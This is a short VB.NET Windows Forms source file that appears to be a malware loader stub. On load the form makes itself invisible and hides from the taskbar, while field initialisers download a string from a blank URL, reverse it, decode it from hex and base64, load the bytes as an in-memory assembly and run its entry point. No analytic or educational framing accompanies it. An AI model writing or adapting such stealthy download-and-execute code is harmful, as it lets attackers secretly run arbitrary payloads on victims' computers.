Public Class Form1
    Public xaaa As New Net.WebClient
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Hide()
        Me.ShowIcon = False
        Me.ShowInTaskbar = False
        Me.Opacity = 0

    End Sub
    Dim y As Object = xaaa.DownloadString("")
    Dim r As String = y
    Dim xx As Byte() = Convert.FromBase64String(Hex2String(StrReverse(r)))
    Dim qq As Object = AppDomain.CurrentDomain.Load(xx).EntryPoint.Invoke("nothing", Nothing)
    Public Function Hex2String(ByVal input As String) As String
        Dim out As New System.Text.StringBuilder
        Dim data As String() = Split(input, " ")
        For Each s As String In data
            out.Append(Chr("&H" & s))
        Next
        Return out.ToString
    End Function
End Class